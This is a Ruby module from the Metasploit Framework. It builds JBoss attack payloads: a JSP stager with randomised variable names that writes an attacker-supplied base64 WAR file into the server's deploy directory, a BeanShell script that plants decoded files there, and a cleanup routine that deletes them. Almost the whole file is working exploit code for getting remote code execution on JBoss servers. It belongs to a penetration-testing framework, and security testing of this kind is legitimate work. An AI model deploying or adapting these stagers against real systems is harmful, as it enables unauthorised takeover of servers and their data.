metasploit-framework/lib/msf/http/jboss/bean_shell_scripts.rb

106 lines
3.2 KiB
Ruby

# -*- coding: binary -*-
module Msf::HTTP::JBoss::BeanShellScripts
# Generates a Bean Shell Script.
#
# @param type [Symbol] The Bean Shell script type, `:create` or `:delete`.
# @param opts [Hash] Hash of configuration options.
# @return [String] A Bean Shell script.
def generate_bsh(type, opts ={})
bean_shell = nil
case type
when :create
bean_shell = create_file_bsh(opts)
when :delete
bean_shell = delete_files_bsh(opts)
end
bean_shell
end
# Generate a stager JSP to write a WAR file to the deploy/ directory.
# This is used to bypass the size limit for GET/HEAD requests.
#
# @param app_base [String] The name of the WAR app to write.
# @return [String] The JSP stager.
def stager_jsp(app_base)
decoded_var = Rex::Text.rand_text_alpha(8+rand(8))
file_path_var = Rex::Text.rand_text_alpha(8+rand(8))
jboss_home_var = Rex::Text.rand_text_alpha(8+rand(8))
fos_var = Rex::Text.rand_text_alpha(8+rand(8))
content_var = Rex::Text.rand_text_alpha(8+rand(8))
stager_jsp = <<-EOT
<%@page import="java.io.*,
java.util.*,
sun.misc.BASE64Decoder"
%>
<%
String #{jboss_home_var} = System.getProperty("jboss.server.home.dir");
String #{file_path_var} = #{jboss_home_var} + "/deploy/" + "#{app_base}.war";
try {
String #{content_var} = "";
String parameterName = (String)(request.getParameterNames().nextElement());
#{content_var} = request.getParameter(parameterName);
FileOutputStream #{fos_var} = new FileOutputStream(#{file_path_var});
byte[] #{decoded_var} = new BASE64Decoder().decodeBuffer(#{content_var});
#{fos_var}.write(#{decoded_var});
#{fos_var}.close();
}
catch(Exception e){ }
%>
EOT
stager_jsp
end
# Generate a Bean Shell script which creates files inside the JBOSS's deploy
# directory.
#
# @param opts [Hash] Hash containing the options to create the Bean Shell
# Script.
# @option opts :dir [Symbol] The dir where place the file.
# @option opts :file [Symbol] The file path.
# @option opts :contents [Symbol] The file contents.
# @return [String] A Bean Shell script to create the file.
def create_file_bsh(opts = {})
dir = opts[:dir]
file = opts[:file]
contents = opts[:contents]
payload_bsh_script = <<-EOT
import java.io.FileOutputStream;
import sun.misc.BASE64Decoder;
String val = "#{contents}";
BASE64Decoder decoder = new BASE64Decoder();
String jboss_home = System.getProperty("jboss.server.home.dir");
new File(jboss_home + "/deploy/#{dir}").mkdir();
byte[] byteval = decoder.decodeBuffer(val);
String location = jboss_home + "/deploy/#{file}";
FileOutputStream fstream = new FileOutputStream(location);
fstream.write(byteval);
fstream.close();
EOT
payload_bsh_script
end
# Generate a Bean Shell script to delete files from the JBoss's /deploy
# directory.
#
# @param opts [Hash] Hash containing the files to delete, the values are
# the files paths.
# @return [String] A Bean Shell script to delete files.
def delete_files_bsh(opts = {})
script = "String jboss_home = System.getProperty(\"jboss.server.home.dir\");\n"
opts.values.each do |v|
script << "new File(jboss_home + \"/deploy/#{v}\").delete();\n"
end
script
end
end